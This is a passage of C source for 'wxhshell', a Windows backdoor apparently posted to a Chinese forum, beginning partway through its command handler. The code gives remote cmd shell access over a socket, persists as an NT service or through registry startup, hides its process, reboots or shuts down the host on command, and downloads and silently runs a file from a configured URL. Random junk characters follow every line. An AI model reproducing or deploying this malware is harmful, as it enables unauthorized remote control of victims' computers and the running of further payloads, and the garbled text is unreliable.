      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;Mc\>i/  
    break; U#+S9jWe  
  } tk<dp7y7  
  // 安装 CY0|.x  
  case 'i': { c&3 ]%urL  
    if(Install()) DL|,:2`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }-)2CEj3L%  
    else RERum  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 85m[^WGyh  
    break; EkEM|<GNd  
    } $91c9z;f^  
  // 卸载 %z J)mOu  
  case 'r': { #SQT!4  
    if(Uninstall()) bec n$R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z6B/H2  
    else  ]P(:z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 r"`c  
    break; <O?iJ=$  
    } fr;>`u[;  
  // 显示 wxhshell 所在路径 '73dsOTIT  
  case 'p': {  3@J0-w  
    char svExeFile[MAX_PATH]; C&,&~^_F  
    strcpy(svExeFile,"\n\r"); @~U: |h  
      strcat(svExeFile,ExeFile); nyi}~sB  
        send(wsh,svExeFile,strlen(svExeFile),0); U GQ{QH  
    break; h$ DFp  
    } '49&qO5B  
  // 重启 V2,54YE  
  case 'b': { ,_r"=>?@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =_\5h=`Yx  
    if(Boot(REBOOT)) 7UejK r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4cRF3$a md  
    else { iP~5=  
    closesocket(wsh); wXMKQ)$(  
    ExitThread(0); '~VKH}b  
    } Z%y>q|:  
    break; *j?tcxq  
    } _~&6Kb^*  
  // 关机 fB:9:NX  
  case 'd': { JC(rSs*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HlqCL1\<  
    if(Boot(SHUTDOWN)) r )ZUeHt}w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [pUw(KV2m  
    else { \6-x~%xK  
    closesocket(wsh); M")JbuI  
    ExitThread(0); "yCCei,hA?  
    } n`2 d   
    break; 3xxQL,FV  
    } s:7^R-"  
  // 获取shell .mn`/4  
  case 's': { F^ 7qLvh  
    CmdShell(wsh); Yc3\NqQM  
    closesocket(wsh); i6?,2\K  
    ExitThread(0); mM!'~{r[-  
    break; T1m"1Q  
  } }&I\a  
  // 退出 8>x!n/z)  
  case 'x': { Tz4,lwuWX7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I@+h| n  
    CloseIt(wsh); '$YB -  
    break; <`i " 5`J  
    } [9(tIb!x  
  // 离开 dqnH7okZ  
  case 'q': { CnSfGsE>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lqn7$  
    closesocket(wsh); GwQW I ]  
    WSACleanup(); RbzSQr>a\  
    exit(1); oG M Ls  
    break; -G e5gQ=  
        } Ig}G"GR  
  } px %xoY  
  } id<i|  
3sIW4Cs7)U  
  // 提示信息 reR><p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oW(lQ'"  
} \ZX5dFu0  
  } 3I&=1o  
<f.*=/]W2  
  return; Se<]g$eK?5  
} k4fc 5P  
$3<,"&;Ecs  
// shell模块句柄 *GleeJWz  
int CmdShell(SOCKET sock) ZUP\)[~  
{  UhN16|x  
STARTUPINFO si; KY34Sc  
ZeroMemory(&si,sizeof(si)); ' N^\9X0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &IsQgS7R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I$/*Pt];  
PROCESS_INFORMATION ProcessInfo; *vt5dxB  
char cmdline[]="cmd"; '{dduHo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M4 SJnE  
  return 0; b~fX=!M  
} uMVM-(g%  
9zSHn.y  
// 自身启动模式 @)PA9P |  
int StartFromService(void) ?T=] ?[  
{ q9cmtZrm  
typedef struct |$"2R3  
{ 7?Q@Hj(:NT  
  DWORD ExitStatus; Xou1X$$z  
  DWORD PebBaseAddress; uw!  
  DWORD AffinityMask; !`=ms1%U  
  DWORD BasePriority; ALvj)I`Al  
  ULONG UniqueProcessId; \$:KfN>WY  
  ULONG InheritedFromUniqueProcessId; ~f=~tN)hZ  
}   PROCESS_BASIC_INFORMATION; 0q'd }DW  
HDQhXw!!hc  
PROCNTQSIP NtQueryInformationProcess; 'f&o%5]  
'F%4[3a$\n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^kZfE"iE2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !Ic;;<  
2WQKj9iyN  
  HANDLE             hProcess; 0\v98g<[+  
  PROCESS_BASIC_INFORMATION pbi; :#D?b.=  
Fe 3*pUt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )"k>}&'  
  if(NULL == hInst ) return 0; Q#C;4)e  
<@i.~EL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,XT#V\qne  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H.-jBFt}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dFY]~_P472  
s X&.8  
  if (!NtQueryInformationProcess) return 0; GMmz`O XN  
EvZ;i^.8LS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n]M1'yU  
  if(!hProcess) return 0; l`lo5:w  
OLXkiesK{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d:/8P985  
5 o:VixZf  
  CloseHandle(hProcess); .d< +-w2Mu  
TymE(,1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]zp5 6U|xa  
if(hProcess==NULL) return 0; zJ{?'kp  
}e3M5LI1L  
HMODULE hMod; !NWz  
char procName[255]; kPwgayz  
unsigned long cbNeeded; IV{,'+hT  
8r '  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,h21 h?6  
rkhQoYZ[  
  CloseHandle(hProcess); =`2nv0%2  
:xw2\:5~0  
if(strstr(procName,"services")) return 1; // 以服务启动 nb(4"|8}  
Z09FW>"u  
  return 0; // 注册表启动 B{|g+c%  
} %M8Egr2|0  
b i^h&H  
// 主模块 :V2"<]  
int StartWxhshell(LPSTR lpCmdLine) Ta#vD_QP  
{ $>E\3npV  
  SOCKET wsl; * d6[k Y  
BOOL val=TRUE; `x:znp}'  
  int port=0; a]:tn:q  
  struct sockaddr_in door; L(!4e  
N[ 4v6GS  
  if(wscfg.ws_autoins) Install(); >}QRMn|@H  
@C)O[&Sk  
port=atoi(lpCmdLine); `mPmEV<  
zb9^ii$g  
if(port<=0) port=wscfg.ws_port; 1@IRx{v$  
}aYm86C]  
  WSADATA data; AoHA+>&U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VlW#_.  
CCKg,v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8D]:>[|E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :QgC Zq  
  door.sin_family = AF_INET; ];Whvdnv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); khT&[!J{>  
  door.sin_port = htons(port); K#M h  
`;fh<kv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PJj{5,#@3  
closesocket(wsl); E%ea o$  
return 1; / uI/8>p(  
} |Y3!Lix  
Okk[}G)  
  if(listen(wsl,2) == INVALID_SOCKET) { { frEVHw  
closesocket(wsl); aKs!*uo0H  
return 1; Bc}<B:q%b  
} 6h>8^l  
  Wxhshell(wsl); vl$! To9R"  
  WSACleanup(); 43rM?_72  
mm$D1=h{|  
return 0; zF /}s_><*  
cJA0$)JP&  
} Y~1}B_  
'R*gSqx~  
// 以NT服务方式启动 n? "ti  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IyG5Rj2  
{ o^RdVSkU;  
DWORD   status = 0; `.;7O27A^%  
  DWORD   specificError = 0xfffffff; ]6OrL TmP  
]SrKe-*:U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HY#7Ctn3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !boKrSw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ..FUg"sSO  
  serviceStatus.dwWin32ExitCode     = 0; cNC\w%  
  serviceStatus.dwServiceSpecificExitCode = 0; 2a.NWJS  
  serviceStatus.dwCheckPoint       = 0; o0-e,F>u  
  serviceStatus.dwWaitHint       = 0; ,-  ]2s_  
4W9!_:j(j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j-gLX  
  if (hServiceStatusHandle==0) return; p@i U}SUaE  
q<>2}[W  
status = GetLastError(); {%D "0*^  
  if (status!=NO_ERROR) N=D Ynz_~  
{ wdBytH6r.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qIjC-#a=m  
    serviceStatus.dwCheckPoint       = 0; y NV$IN%  
    serviceStatus.dwWaitHint       = 0; `m<="No  
    serviceStatus.dwWin32ExitCode     = status; Oi BK  
    serviceStatus.dwServiceSpecificExitCode = specificError; NJqALm!(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `H$s -PX  
    return; R'dF<&Kj|  
  } n!Y.?mU6  
O#O~A |  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nWFp$tJ/R  
  serviceStatus.dwCheckPoint       = 0; ';aPoaO %  
  serviceStatus.dwWaitHint       = 0; @<vDR">  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /l(:H  
} gEKJrAA  
;ok];4`a  
// 处理NT服务事件,比如:启动、停止 Byldt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jr17pu(t  
{ DDAqgx  
switch(fdwControl) 3kR- WgVF,  
{ N)poe2[  
case SERVICE_CONTROL_STOP: pvmm" f  
  serviceStatus.dwWin32ExitCode = 0; Rp`}"x9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; );))kYr  
  serviceStatus.dwCheckPoint   = 0; o\|dm. "f  
  serviceStatus.dwWaitHint     = 0; twgU ru  
  { =m}{g/Bk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :\80*[=;Z  
  } J=zZGd%  
  return; W@wT ,yJ8@  
case SERVICE_CONTROL_PAUSE: )>\Ne~%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A1Q]KS@  
  break; -^#Ix;%  
case SERVICE_CONTROL_CONTINUE: ?-@h Nrx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [*}[W6 3v  
  break; z[t$[Q g  
case SERVICE_CONTROL_INTERROGATE: O')Ivm,E  
  break; 5yA^n6  
}; k9^P#l@p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2A`EFk7_X  
} @Wx_4LOhf  
{ReAl_Cm  
// 标准应用程序主函数 Q;5\( 0w5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <[~x]-  
{ =z=Guvcn`  
#G*z{BRQ  
// 获取操作系统版本 XLmbpEh  
OsIsNt=GetOsVer(); ).ugMuk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :nwcO3~`  
a 3O_8GU  
  // 从命令行安装 .mok.f<G_m  
  if(strpbrk(lpCmdLine,"iI")) Install(); <CA lJ  
a?JU(  
  // 下载执行文件 M/1Q/;0P  
if(wscfg.ws_downexe) { 8|d[45*q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hlUF9}  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Rnb^t6Z  
} iz*aBXVA[  
{Or|] 0  
if(!OsIsNt) { N}dJ)<(2~  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kjf#uU.7  
HideProc(); ]AHUo;(f%  
StartWxhshell(lpCmdLine); Tl=vgs1  
} {Ua5bSbh  
else ZnJnjW PQ  
  if(StartFromService()) MI@ RdXkY  
  // 以服务方式启动 N`zHe*=[~  
  StartServiceCtrlDispatcher(DispatchTable); ;<MaCtDt  
else B' :ZX-Q)  
  // 普通方式启动 Ab(bvS8r$  
  StartWxhshell(lpCmdLine); nEGku]pCH{  
IsRsjhg8x  
return 0; Yb?#vpI  
}
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只看该作者 1 发表于: 2006-10-10
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